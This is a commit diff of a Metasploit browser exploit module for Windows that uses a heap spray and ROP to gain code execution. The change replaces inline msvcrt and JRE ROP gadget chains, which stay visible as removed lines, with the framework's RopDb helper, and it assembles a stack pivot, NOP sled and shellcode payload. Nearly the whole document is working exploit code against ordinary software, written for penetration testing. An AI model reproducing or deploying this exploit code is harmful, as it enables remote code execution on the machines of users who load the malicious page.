@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = NormalRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
14
15
15
16
def initialize ( info = { } )
16
17
super ( update_info ( info ,
@@ -51,7 +52,7 @@ def initialize(info={})
51
52
} ,
52
53
'DefaultOptions' =>
53
54
{
54
- 'InitialAutoRunScript' => 'migrate -f' ,
55
+ 'InitialAutoRunScript' => 'migrate -f'
55
56
} ,
56
57
'Platform' => 'win' ,
57
58
'Targets' =>
@@ -89,6 +90,8 @@ def on_request_uri(cli, request)
89
90
return
90
91
end
91
92
93
+ print_status ( "Target selected: #{ my_target . name } " )
94
+
92
95
js_code = build_javascript ( my_target )
93
96
94
97
html = %Q|
@@ -231,72 +234,25 @@ def build_javascript(my_target)
231
234
return spray
232
235
end
233
236
234
- def nop
235
- return make_nops ( 4 ) . unpack ( "V" ) . first
236
- end
237
-
238
237
def junk ( n = 4 )
239
238
return rand_text_alpha ( n ) . unpack ( "V" ) . first
240
239
end
241
240
242
241
# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
243
242
def get_payload ( t )
244
- # chain generated by mona.py - See corelan.be
243
+ p = make_nops ( 46 )
244
+ p << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , "jmp $+0x6" ) . encode_string # instr length: 2 bytes
245
+ p << [ t . ret ] . pack ( "V" ) # Stack Pivot
246
+ p << payload . encoded
247
+
245
248
case t [ 'Rop' ]
246
249
when :msvcrt
247
- rop =
248
- [
249
- 0x77c4e392 , # POP EAX # RETN
250
- 0x77c11120 , # <- *&VirtualProtect()
251
- 0x77c2e493 , # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
252
- junk ,
253
- 0x77c2dd6c ,
254
- 0x77c4ec00 , # POP EBP # RETN
255
- 0x77c35459 , # ptr to 'push esp # ret'
256
- 0x77c47705 , # POP EBX # RETN
257
- 0x00000800 , # <- change size to mark as executable if needed (-> ebx)
258
- 0x77c3ea01 , # POP ECX # RETN
259
- 0x77c5d000 , # W pointer (lpOldProtect) (-> ecx)
260
- 0x77c46100 , # POP EDI # RETN
261
- 0x77c46101 , # ROP NOP (-> edi)
262
- 0x77c4d680 , # POP EDX # RETN
263
- 0x00000040 , # newProtect (0x40) (-> edx)
264
- 0x77c4e392 , # POP EAX # RETN
265
- nop , # NOPS (-> eax)
266
- 0x77c12df9 , # PUSHAD # RETN
267
- ] . pack ( "V*" )
268
-
269
- when :jre
270
- rop =
271
- [
272
- 0x7c37653d , # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
273
- 0xfffffdff , # Value to negate, will become 0x00000201 (dwSize)
274
- 0x7c347f98 , # RETN (ROP NOP)
275
- 0x7c3415a2 , # JMP [EAX]
276
- 0xffffffff ,
277
- 0x7c376402 , # skip 4 bytes
278
- 0x7c351e05 , # NEG EAX # RETN
279
- 0x7c345255 , # INC EBX # FPATAN # RETN
280
- 0x7c352174 , # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
281
- 0x7c344f87 , # POP EDX # RETN
282
- 0xffffffc0 , # Value to negate, will become 0x00000040
283
- 0x7c351eb1 , # NEG EDX # RETN
284
- 0x7c34d201 , # POP ECX # RETN
285
- 0x7c38b001 , # &Writable location
286
- 0x7c347f97 , # POP EAX # RETN
287
- 0x7c37a151 , # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
288
- 0x7c378c81 , # PUSHAD # ADD AL,0EF # RETN
289
- 0x7c345c30 , # ptr to 'push esp # ret '
290
- ] . pack ( "V*" )
250
+ rop_payload = generate_rop_payload ( 'msvcrt' , p , { 'target' => 'xp' } )
251
+ else
252
+ rop_payload = generate_rop_payload ( 'java' , p )
291
253
end
292
254
293
- code = rop
294
- code << make_nops ( 38 )
295
- code << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , "jmp $+0x6" ) . encode_string # instr length: 2 bytes
296
- code << [ t . ret ] . pack ( "V" ) # Stack Pivot
297
- code << payload . encoded
298
-
299
- return code
255
+ return rop_payload
300
256
end
301
257
302
258
end
0 commit comments